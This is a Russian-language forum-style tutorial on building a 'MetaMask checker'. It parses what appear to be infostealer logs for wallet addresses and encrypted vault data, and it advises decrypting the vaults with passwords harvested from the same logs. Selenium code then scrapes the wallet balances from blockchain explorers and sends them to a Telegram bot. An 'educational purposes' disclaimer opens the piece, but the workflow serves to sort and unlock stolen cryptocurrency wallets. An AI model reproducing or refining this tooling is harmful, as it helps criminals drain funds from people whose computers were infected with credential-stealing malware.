September 20, 2021

Чекер метамаска с выдачей

Делаем свой чекер метамаска за 10 минут!

Статья носит образовательный характер, мы ни к чему не призываем и не обязываем. Информация представлена исключительно в ознакомительных целях.

Приготовления

  1. Скачиваем питон - https://www.python.org/ , будет использоваться селениум вместо баса, технология та же​
  2. Скачиваем драйвер хрома - https://chromedriver.storage.googleapis.com/94.0.4606.41/chromedriver_win32.zip
  3. Забиваем команды в консоль, чтобы установить нужные модули
  4. Код:
pip install selenium
  1. Учимся в школе 11 лет, чтобы научится списывать у других​
  2. Устанавливаем расширение в браузер для упрощения жизни - https://chrome.google.com/webstore/detail/selenium-ide/mooikfkahbdckldjjndioackbalphokd

Данный минимум необходим для того, чтобы создавать ваше собственный чекер на браузерах.

  • Создаем проект с пустым скриптом питона
  • Рядом суем екзешник драйвера скачанный ранее

Приготовления окончены.

Что парсим

Парсить мы будем эксплореры.

Переходим на каждый сайт и сохраняем самый по вашему мнению стабильный селектор с помощью расширения Selenium IDE.

Импортируем библиотеку селениума, создаем словари, типа сайт - блок баланса и создаем экземпляр драйвера, для управления браузером:

from selenium import webdriverimport time slovar = {"https://bscscan.com/address/":".row:nth-child(3) > .col-md-8",          "https://etherscan.io/address/": ".row:nth-child(3) > .col-md-8",          "https://polygonscan.com/address/": ".row:nth-child(3) > .col-md-8"          }wb = webdriver.Chrome()

Берем наш СНГ лог с метамаском и ищем программно в нем .log файлы, читаем в них адресса с помощью регулярки - 0x[0-9A-Za-z]{35, 45} и по каждому адресу будем проходится софтиной.

Вам нужна регулярка {data.*iv.*salt?} и все полученные результаты, забивать сюда - https://metamask.github.io/vault-decryptor/ перебирая массив паролей с лога.

Возвращаемся к коду, вы будете парсить балансы с .log файла, я для примера возьму рандомный, код получается таким:

from selenium import webdriverimport time slovar = {"https://bscscan.com/address/":".row:nth-child(3) > .col-md-8",          "https://etherscan.io/address/": ".row:nth-child(3) > .col-md-8",          "https://polygonscan.com/address/": ".row:nth-child(3) > .col-md-8"          }wb = webdriver.Chrome() adress = "0xde744657f4ba10e1728e071c7f5fabe7cf3b9ac6"balances = {}for site, css in slovar.items():    wb.get(site+adress)    while(True):        try:            balances[site] = wb.find_element_by_css_selector(css).text            break        except:            time.sleep(1)print(balances)

На выходе получаем:

Качаем pip install pytelegrambotapi, делаем бота, берем наш чатид и делаем код:

from selenium import webdriverimport timeimport telebot slovar = {"https://bscscan.com/address/":".row:nth-child(3) > .col-md-8",          "https://etherscan.io/address/": ".row:nth-child(3) > .col-md-8",          "https://polygonscan.com/address/": ".row:nth-child(3) > .col-md-8"          }wb = webdriver.Chrome() adress = "0xde744657f4ba10e1728e071c7f5fabe7cf3b9ac6"balances = {}for site, css in slovar.items():    wb.get(site+adress)    while(True):        try:            balances[site] = wb.find_element_by_css_selector(css).text            break        except:            time.sleep(1)print(balances)wb.close()  bot = telebot.TeleBot("token")bot.send_message("chat_id", f"{adress}\n{balances}")

На этом все! Удачи!